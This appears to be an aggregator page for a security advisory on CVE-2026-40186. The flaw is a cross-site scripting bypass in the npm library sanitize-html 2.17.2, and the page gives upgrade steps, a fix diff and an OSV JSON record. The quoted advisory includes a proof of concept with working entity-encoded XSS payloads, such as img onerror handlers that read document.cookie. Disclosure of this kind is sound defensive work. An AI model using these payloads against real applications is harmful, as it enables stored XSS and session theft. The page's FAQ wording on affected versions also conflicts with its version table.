CVE-2026-40186: Sanitize html Sanitize-html AllowedTags Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-9mrh-v2v3-xpfm
CVSS 6.1
CWE-79
Published
Advisory Summary

CVE-2026-40186 is a MODERATE (CVSS 6.1) sanitize-html allowedtags bypass vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Sanitize html libraries in the npm ecosystem. The issue involves sanitize-html allowedtags bypass via entity-decoded text in nontexttags elements. Remediation is available by upgrading affected packages to version 2.17.3.

CVE-2026-40186 at a Glance

CVE Identifier CVE-2026-40186
GHSA Identifier GHSA-9mrh-v2v3-xpfm
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Sanitize html
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-40186

To remediate this vulnerability, upgrade all affected Sanitize html dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sanitize-html fixed: 2.17.3
npm install sanitize-html@2.17.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls sanitize-html

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-40186, inspect your project dependencies using npm:

npm ls sanitize-html

Analyze the terminal output to locate any version of Sanitize html in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.17.3), your application is affected.

Note: The npm ls sanitize-html command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Sanitize html, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Commit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration. ## Details The vulnerable code is at `packages/sanitize-html/index.js:569-573`: ```javascript } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { // htmlparser2 does not decode entities inside raw text elements like // textarea and option. The text is already properly encoded, so pass // it through without additional escaping to avoid double-encoding. result += text; } ``` The comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `<textarea>` and `<option>` elements before passing text to the `ontext` callback. This can be verified: ```javascript const htmlparser2 = require('htmlparser2'); const parser = new htmlparser2.Parser({ ontext(text) { console.log(JSON.stringify(text)); } }); parser.write('<option>&lt;script&gt;</option>'); // Outputs: "<", "script", ">" — entities are decoded ``` Because the code assumes the text is "already properly encoded" and skips `escapeHtml()`, the decoded entities (`<`, `>`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding. The execution flow: 1. Attacker submits: `<option>&lt;img src=x onerror=alert(1)&gt;</option>` 2. htmlparser2 parses and decodes entities → `ontext` receives `<img src=x onerror=alert(1)>` 3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true 4. Line 573: `result += text` — writes decoded text directly without escaping 5. Output: `<option><img src=x onerror=alert(1)></option>` — `<img>` tag injected despite not being in `allowedTags` The `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user. Prior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities. ## PoC **Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`. **Step 1: Basic tag injection via option** ```javascript const sanitize = require('sanitize-html'); const output = sanitize( '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>', { allowedTags: ['option'] } ); console.log(output); // Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option> // Actual (vulnerable): <option><script>alert(1)</script></option> ``` **Step 2: Element breakout with XSS event handler** ```javascript const output2 = sanitize( '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>', { allowedTags: ['option'] } ); console.log(output2); // Output: <option></option><img src=x onerror=alert(document.cookie)></option> // The <img> tag escapes the option context and executes the onerror handler ``` **Step 3: Textarea breakout (also vulnerable)** ```javascript const output3 = sanitize( '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>', { allowedTags: ['textarea'] } ); console.log(output3); // Output: <textarea></textarea><img src=x onerror=alert(1)></textarea> ``` **Step 4: Full select/option context breakout** ```javascript const output4 = sanitize( '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>', { allowedTags: ['select', 'option'] } ); console.log(output4); // Output: <select><option></option></select><img src=x onerror=alert(1)></option></select> // Breaks out of both option and select elements ``` All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x. ## Impact - **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html. - **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens. - **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content. ## Recommended Fix Remove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded). ```diff --- a/packages/sanitize-html/index.js +++ b/packages/sanitize-html/index.js @@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) { // your concern, don't allow them. The same is essentially true for style tags // which have their own collection of XSS vectors. result += text; - } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) { - // htmlparser2 does not decode entities inside raw text elements like - // textarea and option. The text is already properly encoded, so pass - // it through without additional escaping to avoid double-encoding. - result += text; } else if (!addedText) { const escaped = escapeHtml(text, false); if (options.textFilter) { ``` This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.

CVE-2026-40186 Affected Sanitize html Versions

1 component(s)
Fixed Versions:
2.17.3
Product / Package Ecosystem Affected Versions Fixed Version
sanitize-html
npm
≥ 2.17.2
< 2.17.3
2.17.3

References

Frequently Asked Questions

What is CVE-2026-40186?
CVE-2026-40186 is a security vulnerability in Sanitize html involving sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Sanitize html versions are affected?
Affected versions include releases prior to 2.17.3 across affected packages: sanitize-html.
What version fixes CVE-2026-40186?
Upgrading to 2.17.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sanitize-html affected?
Yes, sanitize-html is affected in releases prior to 2.17.3. Upgrade your dependency to 2.17.3 or later.
What is the CVSS score of CVE-2026-40186?
CVE-2026-40186 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-40186?
CVE-2026-40186 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-40186?
Run the dependency tree command: 'npm ls sanitize-html'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mrh-v2v3-xpfm",
  "modified" : "2026-04-16T21:08:29Z",
  "published" : "2026-04-16T21:08:29Z",
  "aliases" : [ "CVE-2026-40186" ],
  "summary" : "sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements",
  "details" : "## Summary\n\nCommit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration.\n\n## Details\n\nThe vulnerable code is at `packages/sanitize-html/index.js:569-573`:\n\n```javascript\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {\n  // htmlparser2 does not decode entities inside raw text elements like\n  // textarea and option. The text is already properly encoded, so pass\n  // it through without additional escaping to avoid double-encoding.\n  result += text;\n}\n```\n\nThe comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `<textarea>` and `<option>` elements before passing text to the `ontext` callback. This can be verified:\n\n```javascript\nconst htmlparser2 = require('htmlparser2');\nconst parser = new htmlparser2.Parser({\n  ontext(text) { console.log(JSON.stringify(text)); }\n});\nparser.write('<option>&lt;script&gt;</option>');\n// Outputs: \"<\", \"script\", \">\"  — entities are decoded\n```\n\nBecause the code assumes the text is \"already properly encoded\" and skips `escapeHtml()`, the decoded entities (`<`, `>`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding.\n\nThe execution flow:\n1. Attacker submits: `<option>&lt;img src=x onerror=alert(1)&gt;</option>`\n2. htmlparser2 parses and decodes entities → `ontext` receives `<img src=x onerror=alert(1)>`\n3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true\n4. Line 573: `result += text` — writes decoded text directly without escaping\n5. Output: `<option><img src=x onerror=alert(1)></option>` — `<img>` tag injected despite not being in `allowedTags`\n\nThe `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user.\n\nPrior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities.\n\n## PoC\n\n**Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`.\n\n**Step 1: Basic tag injection via option**\n```javascript\nconst sanitize = require('sanitize-html');\nconst output = sanitize(\n  '<option>&lt;script&gt;alert(1)&lt;/script&gt;</option>',\n  { allowedTags: ['option'] }\n);\nconsole.log(output);\n// Expected (safe): <option>&lt;script&gt;alert(1)&lt;/script&gt;</option>\n// Actual (vulnerable): <option><script>alert(1)</script></option>\n```\n\n**Step 2: Element breakout with XSS event handler**\n```javascript\nconst output2 = sanitize(\n  '<option>&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;</option>',\n  { allowedTags: ['option'] }\n);\nconsole.log(output2);\n// Output: <option></option><img src=x onerror=alert(document.cookie)></option>\n// The <img> tag escapes the option context and executes the onerror handler\n```\n\n**Step 3: Textarea breakout (also vulnerable)**\n```javascript\nconst output3 = sanitize(\n  '<textarea>&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;</textarea>',\n  { allowedTags: ['textarea'] }\n);\nconsole.log(output3);\n// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>\n```\n\n**Step 4: Full select/option context breakout**\n```javascript\nconst output4 = sanitize(\n  '<select><option>&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;</option></select>',\n  { allowedTags: ['select', 'option'] }\n);\nconsole.log(output4);\n// Output: <select><option></option></select><img src=x onerror=alert(1)></option></select>\n// Breaks out of both option and select elements\n```\n\nAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.\n\n## Impact\n\n- **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html.\n- **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.\n- **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens.\n- **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content.\n\n## Recommended Fix\n\nRemove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded).\n\n```diff\n--- a/packages/sanitize-html/index.js\n+++ b/packages/sanitize-html/index.js\n@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {\n         // your concern, don't allow them. The same is essentially true for style tags\n         // which have their own collection of XSS vectors.\n         result += text;\n-      } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {\n-        // htmlparser2 does not decode entities inside raw text elements like\n-        // textarea and option. The text is already properly encoded, so pass\n-        // it through without additional escaping to avoid double-encoding.\n-        result += text;\n       } else if (!addedText) {\n         const escaped = escapeHtml(text, false);\n         if (options.textFilter) {\n```\n\nThis fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sanitize-html"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.17.2"
      }, {
        "fixed" : "2.17.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-9mrh-v2v3-xpfm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40186"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/7ca2d16237c72718ef7e5c7ae0458e6027ac4f64"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T21:08:29Z",
    "nvd_published_at" : "2026-04-15T21:17:27Z"
  }
}